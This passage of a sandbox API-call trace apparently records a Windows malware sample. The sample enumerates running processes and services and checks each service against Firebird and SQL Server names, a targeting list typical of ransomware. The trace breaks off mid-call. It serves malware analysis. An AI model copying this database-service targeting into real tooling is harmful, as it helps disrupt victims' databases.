th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0176.495] lstrlenW (lpString="audiodg.exe") returned 11 [0176.496] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0176.496] lstrlenW (lpString="sihost.exe") returned 10 [0176.496] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0176.496] lstrlenW (lpString="svchost.exe") returned 11 [0176.496] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0176.497] lstrlenW (lpString="taskhostw.exe") returned 13 [0176.497] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0176.497] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0176.497] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0176.498] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0176.498] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0176.498] lstrlenW (lpString="Memory Compression") returned 18 [0176.498] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0176.498] lstrlenW (lpString="explorer.exe") returned 12 [0176.499] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0176.499] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0176.499] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0176.500] lstrlenW (lpString="SearchUI.exe") returned 12 [0176.500] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0176.500] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0176.500] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0176.540] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0176.540] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0176.541] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0176.541] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0176.541] lstrlenW (lpString="cmd.exe") returned 7 [0176.541] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0176.542] lstrlenW (lpString="conhost.exe") returned 11 [0176.542] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0176.543] lstrlenW (lpString="consent.exe") returned 11 [0176.543] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0176.544] CloseHandle (hObject=0x4dc) returned 1 [0176.544] Sleep (dwMilliseconds=0x1f4) [0177.154] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e050 [0177.154] EnumServicesStatusExW (in: hSCManager=0x408e050, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0177.155] GetLastError () returned 0xea [0177.155] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4181fb8 [0177.155] EnumServicesStatusExW (in: hSCManager=0x408e050, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4181fb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4181fb8, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0177.156] CloseServiceHandle (hSCObject=0x408e050) returned 1 [0177.156] lstrlenW (lpString="Appinfo") returned 7 [0177.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0177.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0177.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0177.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0177.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0177.157] lstrlenW (lpString="AppXSvc") returned 7 [0177.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0177.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0177.157] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0177.157] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0177.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0177.157] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0177.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0177.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0177.157] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0177.157] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0177.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0177.157] lstrlenW (lpString="Audiosrv") returned 8 [0177.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0177.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0177.157] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0177.157] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0177.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0177.157] lstrlenW (lpString="BFE") returned 3 [0177.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0177.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0177.157] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0177.157] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0177.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0177.157] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0177.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0177.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0177.157] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0177.157] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0177.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0177.158] lstrlenW (lpString="CDPSvc") returned 6 [0177.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0177.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0177.158] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0177.158] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0177.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0177.158] lstrlenW (lpString="ClickToRunSvc") returned 13 [0177.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0177.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0177.158] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0177.158] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0177.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0177.158] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0177.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0177.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0177.158] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0177.158] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0177.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0177.158] lstrlenW (lpString="CryptSvc") returned 8 [0177.158] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0177.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0177.163] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0177.163] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0177.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0177.163] lstrlenW (lpString="DcomLaunch") returned 10 [0177.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0177.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0177.163] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0177.163] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0177.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0177.163] lstrlenW (lpString="DeviceAssociationService") returned 24 [0177.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0177.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0177.163] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0177.163] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0177.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0177.163] lstrlenW (lpString="Dhcp") returned 4 [0177.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0177.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0177.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0177.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0177.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0177.163] lstrlenW (lpString="Dnscache") returned 8 [0177.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0177.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0177.163] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0177.163] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0177.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0177.164] lstrlenW (lpString="DPS") returned 3 [0177.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0177.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0177.164] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0177.164] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0177.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0177.164] lstrlenW (lpString="DusmSvc") returned 7 [0177.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0177.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0177.164] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0177.164] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0177.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0177.164] lstrlenW (lpString="EventLog") returned 8 [0177.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0177.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0177.164] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0177.164] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0177.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0177.164] lstrlenW (lpString="EventSystem") returned 11 [0177.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0177.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0177.164] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0177.164] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0177.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0177.164] lstrlenW (lpString="FontCache") returned 9 [0177.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0177.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0177.165] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0177.165] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0177.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0177.165] lstrlenW (lpString="gpsvc") returned 5 [0177.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0177.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0177.165] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0177.165] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0177.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0177.165] lstrlenW (lpString="iphlpsvc") returned 8 [0177.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0177.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0177.165] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0177.165] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0177.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0177.165] lstrlenW (lpString="KeyIso") returned 6 [0177.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0177.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0177.165] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0177.165] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0177.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0177.165] lstrlenW (lpString="LanmanServer") returned 12 [0177.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0177.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0177.165] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0177.165] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0177.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0177.165] lstrlenW (lpString="LanmanWorkstation") returned 17 [0177.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0177.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0177.165] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0177.165] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0177.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0177.166] lstrlenW (lpString="lfsvc") returned 5 [0177.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0177.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0177.166] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0177.166] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0177.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0177.166] lstrlenW (lpString="lmhosts") returned 7 [0177.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0177.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0177.166] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0177.166] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0177.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0177.166] lstrlenW (lpString="LSM") returned 3 [0177.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0177.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0177.166] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0177.166] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0177.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0177.166] lstrlenW (lpString="MpsSvc") returned 6 [0177.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0177.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0177.166] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0177.166] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0177.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0177.193] lstrlenW (lpString="NcbService") returned 10 [0177.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0177.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0177.193] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0177.193] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0177.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0177.193] lstrlenW (lpString="netprofm") returned 8 [0177.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0177.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0177.194] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0177.194] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0177.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0177.194] lstrlenW (lpString="NgcSvc") returned 6 [0177.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0177.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0177.194] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0177.194] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0177.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0177.194] lstrlenW (lpString="NlaSvc") returned 6 [0177.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0177.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0177.194] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0177.194] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0177.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0177.194] lstrlenW (lpString="nsi") returned 3 [0177.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0177.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0177.194] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0177.194] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0177.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0177.194] lstrlenW (lpString="PcaSvc") returned 6 [0177.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0177.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0177.194] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0177.194] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0177.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0177.194] lstrlenW (lpString="PlugPlay") returned 8 [0177.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0177.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0177.194] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0177.195] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0177.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0177.195] lstrlenW (lpString="Power") returned 5 [0177.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0177.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0177.195] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0177.195] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0177.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0177.195] lstrlenW (lpString="ProfSvc") returned 7 [0177.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0177.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0177.195] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0177.195] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0177.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0177.195] lstrlenW (lpString="RpcEptMapper") returned 12 [0177.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0177.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0177.195] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0177.195] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0177.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0177.195] lstrlenW (lpString="RpcSs") returned 5 [0177.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0177.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0177.195] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0177.195] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0177.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0177.195] lstrlenW (lpString="SamSs") returned 5 [0177.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0177.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0177.195] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0177.195] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0177.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0177.195] lstrlenW (lpString="Schedule") returned 8 [0177.196] lstrcmpiW 